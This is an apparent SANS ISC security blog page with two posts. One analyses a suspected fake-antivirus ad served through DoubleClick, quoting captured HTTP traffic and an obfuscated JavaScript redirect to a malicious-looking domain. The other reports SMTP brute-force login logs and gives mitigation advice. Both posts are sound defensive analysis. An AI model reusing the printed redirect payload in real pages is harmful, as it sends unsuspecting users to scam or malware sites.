Threat Level: green Handler on Duty: Rob VandenBrink

SANS ISC InfoSec Handlers Diary Blog


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Possible Fake-AV Ads from Doubleclick Servers

Published: 2012-11-05
Last Updated: 2012-11-06 00:11:18 UTC
by Johannes Ullrich (Version: 1)
2 comment(s)

Reader James ran into a Fake AV ad delivered by Double click. It is not clear if this is the result of a compromise of double click, or a paid ad that slipped through doubleclick's content review process. James' started out at a local new paper web site, that like many others features ads served by double click. Luckily, James used a proxy tool (Fiddler) to record the session. Here are some of the excerpts (slightly anonymized and spaces inserted to avoid accidental clicks):

GET http://ad.doubleclick.net/adj/mi.ida00/News;atf=n;dcove=d;pl=sectfront;sect=News;
pos=2;sz=300x250;tile=8;!c=news;gender=;year=;income=;ord=230528779772346? HTTP/1.1
Accept: */*
Referer: [local newspaper URL]
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; [...]
Accept-Encoding: gzip, deflate
Host: ad.doubleclick.net
Connection: Keep-Alive
Cookie: id=xxxxa||t=1352150000|et=730|cs=yyyy

The reply to this request was:

HTTP/1.1 200 OK

Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 167
Date: Mon, 05 Nov 2012 22:32:59 GMT
 
document.write('<script type=\"text/javascript\" language=\"javascript\"
src=\"http://inc cam paign.com/jsb.php?id=29585&w=b&t=j&u=13\"><\/script>');document.write('');
 
This is typical "doubleclick". The add returns a reference to some javascript. At this point, this isn't quite suspicious yet. But let's see what we get back from "inccampaign.com":
 
if we access the site with wget (but fake the user agent), we get back:
 
http://inc cam paign.com/pr/b/29585.jpg . This is a harmless image, advertising luxury watches (these days of course, a luxury watch ad suggests a link to spamming).
 
James on the other hand got the following content back (I wasn't able to reproduce this):
 
document.write('<a href="http://pw brand.com" target="_blank">
<img src="http://inccampaign.com/pr/b/29585.jpg" style="border:none" /></a>');
var url = 'http:'+'//fav'+'ozek.'+'info/'+'in.ph'+'p?q=8'+'/CEg1'+'rjwdE'+'mPDwt'+'BLw6u'+'Sk36+'+'lyOya'+'TxYF9'+'UkLXx'+'A==' ;
if (window != top) { top.location.replace(url) } else { window.location.replace(url) }
 
The content starts very similar, but his copy included additional javascript, forwarding the user to 'fav ozek.info' . The domain is somewhat new (October 12 2012) and registered with Privacyprotect.org. Right now, none of the domains is listed as malicious in virustotal. 
 
Still digging deeper into this, but right now, this looks at least suspicious. Let me know if you see similar issues with double click ads.
 

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

2 comment(s)

Reminder: Ongoing SMTP Brute Forcing Attacks

Published: 2012-11-05
Last Updated: 2012-11-05 21:01:14 UTC
by Johannes Ullrich (Version: 1)
3 comment(s)

Our reader (and podcast listener) Pete wrote in with a little SMTP log snippet:

2012-11-04 22:37:36 courier_login authenticator failed for 153.red-2-139-216.staticip.rima-tde.net ([192.168.2.33]) [2.139.216.153]:4232: 535 Incorrect authentication data (set_id=anna)
2012-11-04 22:37:36 courier_login authenticator failed for 153.red-2-139-216.staticip.rima-tde.net ([192.168.2.33]) [2.139.216.153]:4232: 535 Incorrect authentication data (set_id=anna)
2012-11-04 22:37:37 courier_login authenticator failed for 153.red-2-139-216.staticip.rima-tde.net ([192.168.2.33]) [2.139.216.153]:4232: 535 Incorrect authentication data (set_id=anna)
2012-11-04 22:37:37 courier_login authenticator failed for 153.red-2-139-216.staticip.rima-tde.net ([192.168.2.33]) [2.139.216.153]:4232: 535 Incorrect authentication data (set_id=anna)
2012-11-04 22:37:38 courier_login authenticator failed for 153.red-2-139-216.staticip.rima-tde.net ([192.168.2.33]) [2.139.216.153]:4232: 535 Incorrect authentication data (set_id=anna)

In this case, the attacker is '2.139.216.153'. According to our DShield data, the host has a history of port 25 scanning, and evidently, participates in these brute force attacks once it finds port 25 open. (see https://isc.sans.edu/ipdetails.html?ip=2.139.216.153 ).

But this is just one of many IPs that Pete sees coming into his network. They all use "192.168.2.33" as hostname, which appears to be hard coded into the bot used to produce these scans.

Typically, these scans try to brute force SMTP credentials (not POP/IMAP credentials) to send spam via your users e-mail accounts. A few tips to help mitigate these attacks:

  1. enable rate limits for inbound authentication attempts. This will at least slow down the attack. (consult your mail servers manual for details. Each server is different)
  2. enable reasonable rate limits for outbound email. This way, it is easier to detect compromised accounts, and the account is of less value to the spammer
  3. do not rely on passwords. Use SSL client certificates (or at least enforce a strong password policy)
  4. only allow connections to send mail from inside your network, or via a VPN.

Any other ideas? FWIW: I do not recommend strict "lock out" policies for mail servers. They can make it impossible to change your SMTP password. Many users will use multiple devices these days, and if you for example lock an account after 3 bad logins, a user changing a password will be locked out as the users cell phone / tablet will continue to use the old password until it is changed. If you do implement lock out, then please communicate this to your users and ask them to first turn off all devices (that can be challenging as they may not even remember which devices they have) and then change their password.

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

3 comment(s)
ISC StormCast for Monday, November 5th 2012 http://isc.sans.edu/podcastdetail.html?id=2917
Diary Archives